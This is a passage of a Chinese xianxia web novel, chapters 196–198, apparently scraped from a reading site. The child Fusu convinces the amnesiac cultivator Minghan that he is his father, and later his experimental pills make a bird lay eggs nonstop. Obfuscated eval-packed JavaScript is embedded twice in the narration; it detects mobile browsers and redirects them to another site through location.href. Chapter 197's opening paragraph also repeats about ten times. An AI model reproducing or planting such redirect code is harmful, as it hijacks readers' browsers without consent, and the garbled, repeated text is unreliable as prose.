他阿父都要背着他收个堪比养子的徒弟了!还不许他闹点小脾气嘛! 扶苏崽崽泫然欲泣: “哥哥,万一天玄宗不要我怎么办?” 扶苏的小眼神扫过小年轻挂在腰间的宗门腰牌。 什么热心肠的青年人,这家伙其实是跟着师兄和师叔过来招新的天玄宗弟子。因为闲得无聊在城里乱逛,被扶苏精准盯上,主动过去问路的。 城里人多眼杂,自己一路走过去找到天玄宗的招新地点不太稳妥。万一有人发现他骨骼清奇,半路把他掳走怎么办?那样会耽误他时间的。 所以扶苏发现了这个小哥在城门附近晃悠之后,立刻就打定主意要黏上他。有他保驾护航,肯定能平安抵达招新点。 青年男子有些手足无措: “你、你别哭啊!这样,我先带你过去悄悄测一下灵根,万一灵根不达标,你也别气馁。我去求一下师叔,看能不能把你一起捎回宗门。要是可以的话,到时候你就可以见到你爹了。” 大不了就是渣爹不认儿子,那就把小孩托付给周围的宗门寄养。只要灵根别太差,天玄宗周遭还是有一些收徒门槛低的小型宗门的,这孩子总不至于没地方去。 扶苏崽崽露出一个甜笑: “谢谢哥哥!” 青年总有一种自己被套路了的感觉,但仔细看看,小孩天真烂漫,应该没那么多心眼。 他把怪异的想法抛之脑后,高高兴兴地带着小孩回到了天玄宗的招新地点。 青年男子凑到一个气势更强的男子身边,拉着对方嘀嘀咕咕地说了一通。 那人淡淡地扫了扶苏一眼。 他不像师侄那么单纯,三两句话就被人给骗了。最起码要认真观察一二,才会做出判断。 扶苏崽假装没有感觉到他的视线,好奇地东张西望,站累了还会跺跺小脚。穿着一身破烂的洞洞装也不见自卑,是个开朗大方的小可爱。 一只蝴蝶飞过,他爪贱地伸手去捞。 像只猫崽子。 几息后,师叔收回视线: “确实是个小孩子。” 青 年男子松了口气: “那他爹在天玄宗这件事?” 师叔微微摇头: “不一定是真的。” 青年皱眉,他不觉得小孩会说谎骗他,那孩子一看就是个乖巧的。 师叔补充道: “天玄宗只是他母亲的一面之词,可能当初那修士哄骗他母亲时,就说了谎。他母亲一介凡人,恐怕难以分辨真假。” 这些年打着天玄宗旗号招摇撞骗的修士也不在少数,尤其是这种人品不好抛妻弃子的,师叔对自家宗门的弟子有滤镜,觉得肯定是别派弟子冒名顶替。 他们天玄宗没有这样的败类! 青年男子一想也是: “还是师叔见多识广,那现在给这孩子测灵根吗?” 师叔点头: “你把他带过来吧。” 既然决定了无论灵根如何都带回宗门去问一问小孩的亲爹是谁,那么也就不用担忧孩子资质差些,等下去不了另外两个门派。 师叔的态度还算温和,招呼扶苏跟他进屋里测去。 他们这些常年招新的都有经验。 有一些好苗子天赋惊人,如果在大庭广众之下测试,容易引来旁人的觊觎。所以最好是在屋子里一个个地测,消息只有自己人知晓,避免节外生枝。 师叔给扶苏测灵根前没想过小孩的灵根会特别好,只是习惯性以防万一。 虽说他爹疑似天赋不错,能入天玄宗。但灵根这种东西也会遗传生母,或者发生变异。只能说修士的孩子拥有灵根的概率比一般人更高些,不是绝对的。 结果扶苏的手才放上测试的法器,法器就绽放出耀眼的水蓝色光芒。 师叔一惊: “毫无瑕疵的单水灵根?!” 这个水准的天赋,整个修真界也是百年难遇。上一个天赋如此惊人的,还是明寒道君。 好巧不巧,对方也是单水灵根。 师叔看扶苏的眼神就不对了: “孩子,你爹叫什么名字?” 他倒不是猜测扶苏是明寒道君之子,而是怀疑宗门内几个同样是单水灵根的亲传弟子或者管事长老。 天玄宗各种单灵根的数量繁多,水灵根在单灵根中能占接近两成。因为金木水火土这五行 基础元素的灵根是最常见的雷风冰光暗这种变异灵根则非常稀少。 光看扶苏的长相 扶苏无辜地瞪圆了眼睛: “不知道呀我娘没跟我说。” 师叔顿时头疼起来。 不知道名字怎么找人? 算了这个天赋找爹肯定没难度。别说他亲爹了就算不是他亲爹的那群水灵根估计也很乐意给他当爹。 谁不想有个前途无量的儿子? 青年不明所以地凑到师叔耳边问: “您刚刚不是说他爹可能是冒名顶替的其他门派弟子吗?” 师叔立刻瞪他一眼: “别胡说!这孩子天赋这么好他爹怎么可能不是我玄天宗弟子?!” 青年男子:…… 好话歹话都让您说了刚刚不是您信誓旦旦说渣男肯定是别派的吗?现在发现小孩资质极佳又改口了要不要这么现实? 师叔语重心长: “你不懂他天赋这么好他爹的天赋大概率也非常不错。除了我天玄宗外头哪里找这样的天才?” 青年男子不敢说话。 其他几个顶尖宗门里也不缺灵根纯度高的的单水灵根弟子啊只是没有像明寒道君那样纯度高达98%的而已都在90%左右。 扶苏好奇地看着他们: “你们在说什么?” 他其实听见了毕竟耳朵尖。但他只能假装没听见提醒这几个别光顾着聊天。 扶苏摸了摸肚子明示自己饿了。 这些天他只能拿着铜板去买包子馅饼这些吃起来方便的食物想正经吃顿饭菜都很难。 凡人城池里想吃饭菜得去酒楼饭店之类的地方那边消费不低也几乎看不到小孩子单独去吃的情况。 买包子馅饼还没借口说是家里大人抽不开身让孩子拿钱跑腿。买一桌饭菜自己吃就明显不对劲了。 师叔立刻回神: “饿了是吗?来吃一颗辟谷丹。” 扶苏:…… 扶苏崽的鳄鱼眼泪冒了出来: “呜我想吃饭饭。” 青年男子赶紧哄人: 第 196 章 漏破绽 明寒道君的儿子千里迢迢找来宗门的事情,很快就传遍了整个天玄宗。而且目测应该要不了几天,就能传遍修真界。 罪魁祸首秦扶苏换上了干净清爽的亲传弟子服,像个仙帝座下的小仙童,颠颠地跟在他阿父身后安心当一只小跟屁虫。 秦政脚步一顿,低头看他: “你跟着本座做什么?” 扶苏崽仰头看爹: “我想跟着阿父。” 秦政扫了一眼他咕噜叫的肚子: “怎么又饿了?” 之前把小孩带回来的时候,小孩就又累又饿。秦政这里当然是没有正经饭菜的,毕竟他早就辟谷了。 不过他也没有辟谷丹,辟谷丹对他来说同样属于用不着的东西。因而在储物戒里翻了翻,最后翻出了几枚灵果。 灵果和普通的野果不一样,是一种富含灵气的果实。渡劫老祖拿出来的自然都不是凡品,全是非常稀有的高阶灵果。 寻常凡人是不能直接吃的。 不仅寻常凡人,便是低阶修士也吃不得,容易被里头充沛的灵气弄得爆体而亡。 但扶苏不是寻常人,神兽之躯显然是比仙人的身躯还要坚固的肉身,区区灵果没什么不敢吃的。 所以扶苏接过就啃。 秦政起初还仔细注意小孩的情况,打算等他消化不了了就把果子拿走,出手替他疏导灵气。 他看出来这孩子的身躯不太正常了,猜测对方恐怕不是什么凡人。应是灵兽化形,而且体内定然含有神兽血脉。 没料想扶苏的肉身比他预料的还要强大,无论给他多少灵果他都吃得下。没有吃撑的迹象,也没有爆体的迹象。 ——可这也不是小孩没过两个时辰,再次饿得肚子咕咕叫的理由。 秦政移开视线不去看他,故作冷酷地吐槽道: “你太能吃了。” 小崽崽捂住小肚子,坚强地说: “没关系,我可以不吃饭的。” 活像个被渣爹欺负的小可怜,居然连饭都不给吃。 秦政只是吐槽一句,并没有饿着他的想法。听他茶言茶语,反而顿了一下,伸手不客气地捏了捏小肉脸,作为报复。 然后又给他丢了几个果子。 扶苏认为吃果子饿的快肯定是果子的问题。都是水没什么肉当然很快就消化掉了。 不过吃灵果也有吃灵果的好处比如说他体内本来就几乎没有的杂质被尽数排出了。灵气还滋养了身躯叫辛苦爬了一趟山的扶苏恢复到了活蹦乱跳的状态。 只是身体上的疲惫恢复了精神上的还没有睡觉是不能省的。 扶苏打了个哈欠。 随后跟没事人一样继续给阿父当小尾巴走到哪里跟到哪里。秦政有时候一个不注意就容易撞到他。 再一次把小孩撞得差点跌倒后秦政无奈地伸手把他拎了起来。 秦政命令道: “困了就去睡觉不许跟着本座。” 扶苏崽却得寸进尺地伸手: “抱抱。” 秦政微微眯眼: “你最好适可而止。” 扶苏崽坚持伸着手要抱抱不抱他就不睡觉。父子俩僵持了片刻谁也不肯退让。 直到小崽崽困得又打了个哈欠挤出了两滴生理性的泪花花。 秦政顿了顿: “只是不抱你而已哭什么?” 娇气。 秦政把小孩揽进怀里 他坐在寒玉床上打坐修炼修士都是这么休息的。这寒玉床也不是凡品而是极品灵宝对修行大有裨益。 但是它美丽冻人。 扶苏明明没有直接贴上去依然觉得有些冷。睡梦中也下意识缩成一团把自己整只崽都团进了父亲的怀抱里。 秦政搂紧他给他裹了个火狐皮做的小毯子。这下倒是不觉得冷了就是这么睡着不太舒服怀里的小孩总是不安稳。 秦政被他闹得没了脾气只好躺下拥着他。这下小孩满意了足足睡了一天一夜可见之前赶路确实累着了。 睡醒后粘人崽依然扒在阿父身上不肯下来懒洋洋地喊饿。 秦政就知道会这样。 往小孩嘴里塞了个辟谷丹这是他之前趁着扶苏睡着特意传讯让弟子送来的。 还没彻底醒盹的扶苏崽崽小脑袋还处在宕机状态所以毫不设防地吃了进去。 然后很快不过脑地“呸”一声吐掉。 好 难吃。 秦政:…… 真难伺候,不知道是谁惯出来的坏毛病。要是有机会见到臭小子的亲爹,他一定要好好和对方聊一聊小孩的教育问题。 秦政捏了个清洁术把辟谷丹清理掉了。 扶苏慢半拍回神: “阿父,你给我吃的什么东西? 秦政不想回答。 自己选的崽,再难养也得咬牙养下去,没有半途而废的道理。 为了这个小家伙,寒月峰难得放出了几枚腰牌,允许人每日进出。不为了别的,就为给峰主家的宝贝疙瘩送一日三餐等生活必需品。 宗内有专门的食堂,会用灵植灵兽肉制作美味佳肴,一般只有刚入门的弟子需要日日食用。修炼一段时间后,大部分弟子就习惯吃辟谷丹了,这样省时省力。 然而明寒道君家的崽崽吃不惯,说什么都不肯吃辟谷丹。没有办法,掌门只好专门指了个弟子来照顾小孩。 弟子从秦政手中接过了异常珍贵的高阶灵兽和灵植,这些东西往常都是用来炼制高阶丹药的,少有人暴殄天物拿去烹饪。 弟子的手微微颤抖: “当真要用这个给小公子做三餐吗? 秦政搂着怀里的崽点了点头: “去吧。 面对小崽崽期待的眼神,弟子到底是下去安排了。算了,人家爹想怎么宠儿子,他也管不着。 等人一走,秦政就说道: “下去,你该开始学习修炼了。 扶苏不下去,抱得更紧了: “我这样也可以学的! 秦政不明白扶苏为什么那么执着于认自己当爹,他很确信自己没有任何孩子。哪怕扶苏和自己气运相连,也不可能真是自己的血脉。 起初,秦政以为小孩是在耍坏心眼,有什么别的阴谋。 但是相处了两天,他感觉不太像。 扶苏好像真的把他当亲爹了。 秦政微微皱眉: “你父母到底是谁? 扶苏眨了眨眼,看样子他阿父短时间内应该无法恢复记忆了。他都死缠烂打了两天,阿父居然还这么冷淡,看来得另辟蹊径想个别的办法。 扶苏很快改变了思路,说道: “我爹叫秦政 ,就是你呀!” 秦政并不记得自己的名字,在他的记忆中只有一个用了几百年的道号明寒。因而他一脸不为所动,完全没有受到刺激回忆起什么的迹象。 扶苏拿出了他早就准备好的后手。 那是一块碎布,上头用碳灰勾勒了一个人影。虽只是个线稿,却已经能看出容貌气度了,和明寒道君极其相似。 扶苏拿起来给他爹看: “这是我爹的画像!是不是和你长得一模一样?” 秦政垂眸看了片刻。 不得不承认,确实和他长得一样。而且这画显然不是见到他之后画的,不存在照着他画一幅的可能性。 也不可能是其他见过他的修士所画。 修真界的大能身上都有一些玄奥之处,画像这种东西不是随便就能画的。实力不如他的人只会提笔便忘,记不得他的长相。 所以小孩的亲爹只是单纯的和他长得十分相似? 秦政伸手: “给我,我让人去替你问问。” 有现成的画像,可以遣人照着这张脸找一找和他长相如此相似的修士。这样的人不能放任对方流落在外头,以免借他的身份做出什么不受控制的事情来。 扶苏拒绝了,他宝贝地把画收起来: “我只剩这一幅画了!” 小孩护食似的,警惕地看着自己,坚决不肯把画交出去。 秦政气笑了: “你既然认定我是你爹,我拿走自己的画像又有什么关系?” 扶苏崽眼里泛起雾气: “是你自己说你不是我爹的。” 秦政:…… 小崽崽抹眼泪: “我只有这一幅了,给了你我就没有了,呜呜呜。” 秦政怀疑他在假哭。 但是小孩眼泪掉得很凶,又不像假的。应该没有人能说哭就哭,还能做到眼泪像断了线一样流个不停。 秦政妥协了: “也罢,你自己留着吧。” 扶苏崽又哭了一会儿,做足了戏,才抽抽噎噎地停下。不然人家一妥协他就不哭了,一看就是装的。 秦政看他哭得脸都红了,嫌弃地给他擦眼泪。 “堂堂男儿怎么能这么爱哭?” 扶 苏打了个哭嗝: “我、我才五百岁。 秦政:……? 其实没有。 扶苏把他之前在阳世生活的年岁扒拉了一遍,发现一直以为的自己已经活了大几百年,其实只有300年不到,因为好几个位面他和阿父就待了几年便离开了。 如果加上在地府的时间,倒是可以勉强凑出三百年来。这么长的寿命里,居然足足有将近130年是来到地府前的两世攒下的。 不过扶苏回忆了一下明寒的岁数。 明寒道君如今正好五百岁左右,既然父亲坚称自己这辈子没有孩子,那他就往上辈子靠嘛。 扶苏崽惨兮兮地说: “我娘、我娘跟我说,当初族里遇到危险,我爹出去解决那些家伙了,后来就一直没有回来。那个时候我娘已经怀上我了,所以我出生开始就没见过我爹。 秦政懂了他的意思: “你爹娘都是灵兽? 扶苏记得他阿父这次用的应该是玄鸟之躯,所以扶苏来到天玄宗之前特意换成了一样的。这会儿唰地来了个大变活人,一只胖嘟嘟的小鸟崽就出现在秦政面前。 鸟崽崽扑棱了一下翅膀: “就是这样!我爹和我长得一样的! 秦政认出来了: “玄鸟? 他还以为小孩只是有一点神兽血脉,没料想竟然就是神兽本尊。 扶苏变回了人形,期待地看他: “你试一下,你要是我爹,你肯定也能变成玄鸟的! 秦政不觉得自己能变: “我寿数也不过才五百,和你爹年岁对不上。 扶苏崽固执地不肯接受: “一定是你失忆了,被修士捡了回去,他们骗你说你是人,不信你变一下。 秦政拗不过他: “阳寿这种事情掐算就可以算出来,做不得假的。 但他还是顺从地尝试了一下。 不尝试的话,小孩肯定揪着不放。那就试一次,让小孩死心。自己到底是不是灵兽化形,他身为本人还能不清楚? 秦政唰地一下,变成了黑龙。 扶苏:…… 秦政:…… 场面一度十分尴尬。 坚称自己是人的秦政成功化形了,可惜不是玄鸟,是黑龙。 坚称自己爹是神兽的扶苏说对了,可惜原型没对上,他们俩一个是鸟一个是龙。 秦政迅速变回人形,神色凝重。 扶苏深吸一口气,突然放声大哭: “呜呜呜! 秦政一个头两个大: “怎么又哭了? 扶苏哭得上气不接下气: “我爹、我爹居然不是玄鸟,我娘骗我。 秦政:………… 秦政忍不住纠正他: “本座如今也只有五百岁,与你差不多大。 扶苏哭得更惨了: “我爹转世之后变成龙了!玄鸟和黑龙不共戴天!我爹居然投胎到仇人家去了!难怪不肯认我! 秦政:……………… 事到如今,似乎确实只有这个说法最能解释当前的情况。 秦政揉了揉太阳穴。 在魔音贯耳的背景音里,自己为什么不是人而是一条龙这样的事,仿佛也不过是区区小事了。 师尊早就陨落,他也没办法去找个魂飞魄散的死人询问,对方知不知道他的真实身份。 秦政觉得自己的师尊应该是清楚的,小徒弟是人是龙怎么可能一点不知情?那他帮忙隐瞒身份,甚至对黑龙本人都隐瞒,到底是为了什么,就值得琢磨了。 左不过是为了天玄宗。 天玄宗需要一个绝世天才来把它推上第一仙门的宝座,但是这个天才不能是异族的天才,必须得是人族的。 哪怕黑龙是神兽,不是和人为敌的妖,也不行。非我族类,无法百分百信任。 秦政有一丝相信自己前世是玄鸟了。 神兽转世成神兽的概率比较大,毕竟神兽和寻常六道之间有壁。其他存在想靠转世投胎变成神兽,难度堪比登天,基本不用肖想。 那这么说的话,面前这个爱哭鬼确实就是他的亲生崽了。 秦政伸手温柔地替儿子擦掉眼泪: “好了,别哭了。 扶苏趴进阿父怀里: “呜。 秦政轻轻搂住他: “你都五百岁了,看起来怎么和五岁一样? 扶苏慢吞吞地 回答:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12960853|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我们神兽就是这样的,五百岁还是幼年期呢。 秦政不由思考起来。 如果五百岁是神兽的幼年期,那他这个五百岁的为什么已经成年了? 秦政便问起过往的细节来: “你爹当初是去处理什么危险了? 扶苏早就编好了瞎话,天真烂漫地说: “黑龙打过来了,他去打架了呀! 秦政很快联想到了什么。 该不会是他战败被杀,干脆抢了一个奄奄一息的黑龙身躯,夺舍换魂。 结果鹬蚌相争渔翁得利,天玄宗上任掌门就在附近。趁机把他捡了回去,还在他的记忆上动了手脚。 他的阳寿是从夺舍起算的,因而才会是五百年左右? 秦政敛眸给儿子擦脸: “爹爹会想办法恢复记忆的。 之前他以为这孩子是认错了爹,虽然心中很是喜欢,却强迫自己不要太过亲近。免得小屁孩找到了亲爹之后,翻脸跟亲爹跑了,平白叫自己伤心。 如今既然基本确定了这就是自己的崽,那便不用压抑自己了。 哪怕不是也得是。 他不想再继续纠结下去。 小扶苏独自在族里度过了五百年的幼生期,没有父亲庇佑也不知道受了多少欺负。秦政记得之前有人说过,刚见到小扶苏的时候他身上衣服都破破烂烂的,可见是吃足了苦头。 秦政犹豫片刻,还是抱着小孩去了隔壁明玥师姐的峰头。 明玥正在打扮她新收的小徒弟,是个漂亮的小女孩。这个年纪孩子穿什么都好看,明玥特意让人给她做了好几身不同的留仙裙。 见到师弟带着孩子来了。 明玥惊讶万分: “明寒师弟,稀客啊! 万万没想到有一天明寒竟然会串门。 不过看一眼怀里小脸红扑扑的小崽儿,明玥就了然了。可怜天下父母心,都是为了孩子。 秦政直奔主题: “师姐这里可有擦脸的润肤霜? 他家扶苏哭了这么久,反复擦拭泪珠,脸上的皮肤都要起皮了。小孩的脸嫩,还是要保养一下的。 明玥立刻翻出了一套护肤品: “有的, 这些都是。” 秦政:“……这些都要涂吗?” 会不会太多了些? 明玥解释道: “不用全都涂,我给他挑一些适合他肤质的。来,小扶苏到姨姨这里来,姨姨给你擦香香。” 扶苏顿时回忆起幼儿园擦香香的过往。 他顿时抱紧了他爹的脖子,死活不肯下去。他不排斥擦这些东西,也不在乎身上留下香味。 但是幼儿园老师的手法真的很暴力。 可能是为了追求效率,毕竟她们要给全班十几二十个小孩擦。必须加快速度,不然会耽误很多时间。 扶苏很担心明玥也是狂放派。 明玥完全没发现小孩的抗拒,直接拿着合适的润肤膏就过来了。一手捏住扶苏的下巴,一手就开始抹,手法果然十分粗暴。 还不如幼儿园老师。 坐在梳妆台前的小女孩透过镜子同情地看着扶苏,满脸写着“终于有人和我一样倒霉了”。 抹完小脸还要抹小手,抹完小手还要抹脖子。另外还有专门抹身体的,抹关节部位的,各式各样不同的乳液。 明玥道君活得十分精致。 并且试图同化她师弟: “小孩子细皮嫩肉,一定要好好保养。别都养得跟明心师兄那堆徒弟似的,皮糙肉厚,看着就闹心。” 秦政沉默片刻,试图拒绝她的安利。没有成功,被迫拿走了一堆瓶瓶罐罐。 回到寒月峰之后。 秦政看了看那堆东西,问儿子: “你自己涂吗?” 扶苏连连摇头,他才懒得涂。 秦政便拿出传讯符,给掌门发了个消息,让他再给扶苏安排一个照顾起居的女弟子来。 掌门:…… 掌门感觉自己不像个掌门,像是给小师叔当管事的工具人。 寒月峰里渐渐从只有秦政一个人,变成了拥有一整个杂役弟子团队,全都是来照顾小公子的。 寻常时候杂役弟子只能待在灵气稀薄的普通峰头修炼,但要干的活却不会减少。难得有机会来宗内灵气最丰沛的寒月峰,要做的事情却仅仅是照顾一个小孩子,许多人都趋之若鹜。 事实上照顾扶苏并不用做太多事,扶苏到底不是真小孩,不会给 人添麻烦。来了寒月峰,每月的份例还能增长,简直就是天上掉馅饼。 弟子们拿着新到手的本月份例,清点了一下发现多了许多灵石和价格较贵的丹药,喜笑颜开。 “这比寻常外门弟子的份例还高吧? 唯一遗憾的是明寒老祖并不会指点他们修行,但做人不能太贪心,现在这些他们也很知足了。 扶苏跑过来: “哥哥,今天吃什么? 负责下厨的杂役弟子立刻回道: “今天吃炙鹿肉,明心老祖早上才遣人送来的灵鹿肉,据说味道极佳。 扶苏眼前一亮: “嗯嗯! 秦政闪身出现在不远处: “秦扶苏。 扶苏赶紧装作乖巧地跑过去: “阿父,我来了。 秦政拎住他的耳朵: “修炼呢,一眼没看住你就跑到膳房来了。 扶苏讨巧卖乖: “我饿了呀! 修炼如此枯燥乏味,他真的不想修炼。反正不修炼也能吊打旁人,为什么要辛苦修炼呢? 灵气这种能量,是和阴气同一级别的。不仅低于功德,还低于信仰。 对于拥有海量信仰的扶苏来讲,修炼灵力纯属浪费时间。但天玄宗的人只看灵力修为,因为他们从不用功德打架。 秦政并不惯着他: “你修炼又不费劲,引气入体一次就成功了。天赋如此之强,不可浪费。 说完又嫌弃了一下扶苏这懒惰性子。 扶苏哼哼一声: “我懒也是阿父纵容出来的。 秦政不信: “你不是你娘独自拉扯大的? 他之前还想过要找扶苏的亲爹谈一谈教育问题,现在发现自己就是他亲爹了,问题不大。因为他是个缺席的亲爹,把孩子教坏的肯定不是他,而是扶苏他娘亲。 不过找孩子他娘聊是不太可能了,他娘亲已经去世了。 秦政问过儿子是怎么回事。 扶苏也说不清楚,只道好像是寿元尽了没有飞升。 秦政并不了解神兽的事情,信了这番鬼话,完全没发现儿子是编不下去胡扯的。 或者说他看出来这小 第 197 章 炸炉 明字辈三师兄妹齐聚一堂,面前摆着扶苏崽崽炼制的丹药,三人表情都很凝重。 当事人扶苏坐在阿父腿上,好奇又无辜地看着大家,天真地问师伯怎么不吃。 明心师伯笑不出来: 明字辈三师兄妹齐聚一堂,面前摆着扶苏崽崽炼制的丹药,三人表情都很凝重。 当事人扶苏坐在阿父腿上,好奇又无辜地看着大家,天真地问师伯怎么不吃。 明心师伯笑不出来: 明字辈三师兄妹齐聚一堂,面前摆着扶苏崽崽炼制的丹药,三人表情都很凝重。 当事人扶苏坐在阿父腿上,好奇又无辜地看着大家,天真地问师伯怎么不吃。 明心师伯笑不出来: 明字辈三师兄妹齐聚一堂,面前摆着扶苏崽崽炼制的丹药,三人表情都很凝重。 当事人扶苏坐在阿父腿上,好奇又无辜地看着大家,天真地问师伯怎么不吃。 明心师伯笑不出来: 明字辈三师兄妹齐聚一堂,面前摆着扶苏崽崽炼制的丹药,三人表情都很凝重。 当事人扶苏坐在阿父腿上,好奇又无辜地看着大家,天真地问师伯怎么不吃。 明心师伯笑不出来: 明字辈三师兄妹齐聚一堂,面前摆着扶苏崽崽炼制的丹药,三人表情都很凝重。 当事人扶苏坐在阿父腿上,好奇又无辜地看着大家,天真地问师伯怎么不吃。 明心师伯笑不出来: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12960854|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明字辈三师兄妹齐聚一堂,面前摆着扶苏崽崽炼制的丹药,三人表情都很凝重。 当事人扶苏坐在阿父腿上,好奇又无辜地看着大家,天真地问师伯怎么不吃。 明心师伯笑不出来: 明字辈三师兄妹齐聚一堂,面前摆着扶苏崽崽炼制的丹药,三人表情都很凝重。 当事人扶苏坐在阿父腿上,好奇又无辜地看着大家,天真地问师伯怎么不吃。 明心师伯笑不出来: 明字辈三师兄妹齐聚一堂,面前摆着扶苏崽崽炼制的丹药,三人表情都很凝重。 当事人扶苏坐在阿父腿上,好奇又无辜地看着大家,天真地问师伯怎么不吃。 明心师伯笑不出来: 第 198 章 意外收获 扶苏先是兴致勃勃地给小鸟抹了生发水,毫无反应。然后喂了生发水,依然毫无反应。 正常人这个时候应该意识到丹药对鸟类不起作用了,但是扶苏偏不。 秦扶苏思索片刻: “可能是药效不够。” 秦政欲言又止。 这么小一只鸟,你给那么大一个人吃的药,药效都够了,换成这只鸟,怎么可能不够? 臭小子就是想折腾小鸟吧。 扶苏嫌弃生发水兑了太多水,自己从药丸上抠了一小块下来,塞进小鸟嘴里。幸好这不是糊味的药丸,而鸟类味觉也没有人类那么灵敏,所以小鸟吞得还算顺利。 生发丹的药效会主动往体表上跑,然后引发毛发的生长和脱落。 明玥道君曾经戏称这丹药不应该卖给秃头的人,应该卖给做假发生意的人,这样以后就不愁原材料了。 扶苏对此的回应是: “师姑,您居然还知道假发生意。难道修真界也有大能头发稀少到需要戴假发吗?是谁呀,您跟我说说,保证不告诉别人。” 明玥毫不设防地说道: “挺多的吧?像我们这种寿元还剩很多的肯定没有脱发的困扰,但是那些寿元将尽的就不一样了。比如你明岸师伯,他现在戴的就是假发。” 说完,明玥后知后觉地意识到自己不该跟小孩子说这些的。尤其不应该和扶苏说,因为扶苏是个小坏蛋。 事实证明,明玥顾虑的没有错。 扶苏扭头就跑去跟阿父分享: “明岸师伯他秃头诶!” 声音超大,周围的弟子全都听见了。然后等这些杂役弟子出门去取峰内份例或者找朋友聚会的时候,难免作为谈资散播出去。 这些弟子在某些时候,深知什么能说什么不能说。 比方说小公子炼丹有成果,他们就守口如瓶不告诉别人。但像是这类明明会得罪长老的八卦,他们却不知道收敛。 这大约就是有恃无恐吧。 得罪其他峰的长老问题不大,他们背后有明寒老祖庇佑。倘若把小公子的事情说出去,得罪了明寒老祖,那才是彻底没了任何依仗。 何况他们说的八卦又不是造谣,还是私底下小范围传播。等以后宗内传得沸 沸扬扬了就到了法不责众的阶段也没办法追究他们几个了。 总之最近几个月天玄宗是热闹非凡。 前有宗内数位长老整日顶着一脑袋烧糊味到处晃悠让人怀疑是不是长老们中间最近流行起了这种非主流薰香。 后有明岸等一众长老被爆戴假发导致有些头发过于顺滑柔亮的年长师长都被人私底下猜测头上的长发是真是假。 两件事的罪魁祸首都是秦扶苏。 但是前者因为卖药的是明心后者因为说漏嘴的是明玥。扶苏回回都能完美隐身收获一个挡箭的替罪羊。 扶苏认为这是因为他见多了他爹莫名其妙的背锅已经熟练掌握了相关技巧包括但不限于提前甩锅、精准闪避等。 某人自己是摘出去了却把长辈坑了个够呛。 毕竟需要假发的本身也需要购买生发水这就导致前后两件事里的受害者是同一批人。 其中以明岸为最。 别人戴不戴假发都只是猜测只有他被明确爆出戴了假发。 明岸本来就和这两个师弟师妹关系不怎么样这次过后更差了。他给两人记了小本本君子报仇十年不晚。 扶苏后来听说了这件事。 随即扶苏表示不解: “他寿元不是将尽了吗?十年挺晚的吧?十年后他还活着没有?” 话刚说完就被他爹捂住了嘴。 秦政冷静地提醒儿子: “你现在不是大秦太子了哪怕朕是修真界第一人你这么嘴贱也很容易挨揍。” 这里不是大秦在大秦群臣再生气也不敢和太子计较。修真界很多时候不管那个的 另外秦政也给儿子科普了一下常识。 修真界说寿元将尽说的是修士开始衰老的时候。 炼气期除外炼气期弟子还没驻颜只是衰老的速度会缓慢许多。他们会正常地长大变老不过一般到了90岁的时候看着就像五六十岁。 接下来的最后10年会加速衰老越往后老得越快到百岁时就是垂垂老矣了。大家一般把炼气期的最后10年称之为寿元将尽就是因为加速变老。 同理,其他境界也差不多。 筑基期的衰老速度比炼气期还缓慢,上限300岁,一般280岁的时候会看起来像五六十岁。然后是最后的20年,加速衰老,因而筑基期的“寿元将尽是最后20年,而非最后10年。 以此类推,金丹是最后30年,元婴是最后40年,合道是最后50年,渡劫是最后60年。 而明岸,他虽然是大家的师兄,可他资质心性不如底下的师弟师妹。所以其他三人都是渡劫期,就他还是合道期,他年纪还比底下弟妹们大不少。 本来就嫉妒师弟妹的天赋和成果,又被两人接连得罪,不记恨才怪。 幸好他没听到扶苏说的缺德话。 不然按照扶苏这完美甩锅的特性,到时候就得是明寒替儿子背下嘲笑师兄寿元的锅了。兄妹弟三人整整齐齐,谁也别想躲开。 扶苏自己说完就忘了。 这会儿没心没肺地玩弄小鸟,眼看小鸟吃下一小块丹药依然没有反应,跃跃欲试还想喂。 秦政看不下去了: “毛发和羽毛应该不算同类物品。 扶苏不这么想: “丹药只是提供营养,长头发需要营养,换羽也一样。按道理来讲,药效应该是共通的。 而且就算不换毛,这鸟不也该有点其他反应吗?吃了这么多药了,怎么还是半死不活的? 鹅小说的域名qiexs⑽(请来企 鹅小说 看最新章节 完整章节) 秦政:你有没有想过,或许正是因为吃了药才半死不活? 扶苏伸手准备用神识探查一下小鸟的体内是个什么情况,吃下去的药都生效到哪里去了。 突然,小鸟轻轻撅起泄殖腔。 扶苏睁圆了眼睛: “它不会是要排泄吧? 扶苏立刻把鸟给放到地上了,免得拉他一手。 结果小鸟很快排出来一小枚鸟蛋。 有了第一枚,接下来的二三四五六……就很快了,一个接一个,下个不停。 扶苏的表情从惊讶变成呆木。 秦政没忍住笑了一声: “修真界未来的炼丹宗师,竟研制出了叫母鸡不停下蛋的灵丹妙药。不错,待日后将此物带回大秦,天下黎庶会记得你的功绩的。 说不定能供奉个下蛋神君的尊号。 毕竟秦朝信仰多而驳杂,什么神灵都能瞧见。 扶苏:………… 秦政还说: “日前朕听你妹妹说起过一个故事,说某位帝王获得了宫斗系统,那系统会奖励生子丸。他将药丸喂给母牛食用,于是再也不愁治下耕牛不足。” 扶苏意识到他爹想说什么了。 扶苏试图打断。 可惜没抓好机会,他爹已经接下去了: “朕虽没有那等神奇的系统辅助,却有能干的太子。太子凭一己之力做到了系统才能做到的事情,大秦幸甚有你。” 扶苏缓缓捂住脸: “呜,阿父嘲笑我。” 扶苏心里愤愤。 